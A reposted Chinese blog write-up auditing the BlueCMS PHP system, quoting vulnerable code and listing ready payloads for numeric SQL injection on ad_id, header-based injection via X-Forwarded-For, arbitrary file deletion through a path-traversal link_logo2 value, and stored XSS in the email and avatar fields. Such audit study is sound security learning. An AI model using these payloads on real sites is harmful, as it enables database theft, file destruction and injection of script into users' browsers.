ICode9

精准搜索请尝试: 精确搜索
首页 > 其他分享> 文章详细

BlueCMS审计

2021-12-12 09:33:25  阅读:253  来源: 互联网

标签:审计 ad .. addslashes deep BlueCMS str id


BlueCMS审计

前言

听说这个CMS很适合入门,但是没有找到源码。由于看到网上的代码发现挺简单的,所以笔者选择把网上看到的各种漏洞整合一下,方便查看。

SQL注入1

直接上代码

 $ad= $db->getone("SELECT * FROM ".table('ad')." WHERE ad_id =".$ad_id);

$ad_id可控,找输入点

 $ad_id= !empty($_GET['ad_id']) ? trim($_GET['ad_id']):'';

注意这里是$_GET传入

页面回显代码

 echo "<!--\r\ndocument.write(\"".$ad_content."\");\r\n-->\r\n";

注意:而在ad_js.php文件的开头引入了过滤文件

 require_once : dirname(__FILE__) .'/include/common.inc.php';

跟进

 if(!get_magic_quotes_gpc())
 {
     $_POST = deep_addslashes($_POST);
     $_GET = deep_addslashes($_GET);
     $_COOKIES = deep_addslashes($_COOKIES);
     $_REQUEST = deep_addslashes($_REQUEST);
 }
 ​
 function deep_addslashes($str)
 {
     if(is_array($str))
    {
         foreach($str as $key=>$val)
        {
             $str[$key] = deep_addslashes($val);
        }
    }
     else
    {
         $str = addslashes($str);
    }
     return $str;
 }

addslashes函数,添加反斜杠,

如果CMS的数据库使用了gbk字符集,可以使用宽字节注入

但是可以数字型注入,payload如下

 ?ad_id=1%20order%20by%207
 //判断字段
 ?ad_id=1%20and%201=2%20union%20select%201,2,3,4,5,6,7
 //有回显是7,存在注入
 ?ad_id=1%20and%201=2%20union%20select%201,2,3,4,5,6,user()
 //当前用户

SQL注入2

漏洞发生在/uploads/include/common.fun.php的getip()方法中

image-20211211233730293

获取请求中的头部,/uploads/comment.php调用了此方法

image-20211211233928104

sql语句直接拼接,可注入。可以抓POST包传入XFF头用sqlmap检测注入。

任意文件删除

这个漏洞代码挺多的,大多如下

 }else{
  if(file_exists(BLUE_ROOT.$_POST['link_logo2'])){
  @unlink(BLUE_ROOT.$_POST['link_logo2']);
  }

参数没有任何过滤

 link_logo2=/../../../../../../../../../../../../../1.txt&act=do_edit

XSS

XSS漏洞经常出现在文章发表,评论回复,留言以及资料设置等地方

XSS漏洞需要寻找未过滤的输入点和未过滤的输出函数

实际上经过测试此处能够XSS的输入框有两处:分别是邮箱,用户头像

输入输出都没有过滤。。

邮箱处显示代码为:

 <td align="left"><input name="email" type=``"text" value=``"{#$user.email#}" class="inputbox"` `/></td>

  我们输入payload为:

 <script>alert(2)</script></td>//

  个人头像处显示代码为:

 <td align="left"><input type="text" name="face_pic1" value="{#$user.face_pic#}"class="inputbox"/></td>

  我们输入payload为:

 "/></td><script>alert(/xss/);</script>//

目前就是这些,等以后找到新的漏洞,再更吧。

 

参考

https://www.cnblogs.com/Cl0ud/p/12739864.html

https://ego00.blog.csdn.net/article/details/116460657

标签:审计,ad,..,addslashes,deep,BlueCMS,str,id
来源: https://www.cnblogs.com/OutBxx/p/15678159.html

本站声明: 1. iCode9 技术分享网(下文简称本站)提供的所有内容,仅供技术学习、探讨和分享;
2. 关于本站的所有留言、评论、转载及引用,纯属内容发起人的个人观点,与本站观点和立场无关;
3. 关于本站的所有言论和文字,纯属内容发起人的个人观点,与本站观点和立场无关;
4. 本站文章均是网友提供,不完全保证技术分享内容的完整性、准确性、时效性、风险性和版权归属;如您发现该文章侵犯了您的权益,可联系我们第一时间进行删除;
5. 本站为非盈利性的个人网站,所有内容不会用来进行牟利,也不会利用任何形式的广告来间接获益,纯粹是为了广大技术爱好者提供技术内容和技术思想的分享性交流网站。

专注分享技术,共同学习,共同进步。侵权联系[81616952@qq.com]

Copyright (C)ICode9.com, All Rights Reserved.

ICode9版权所有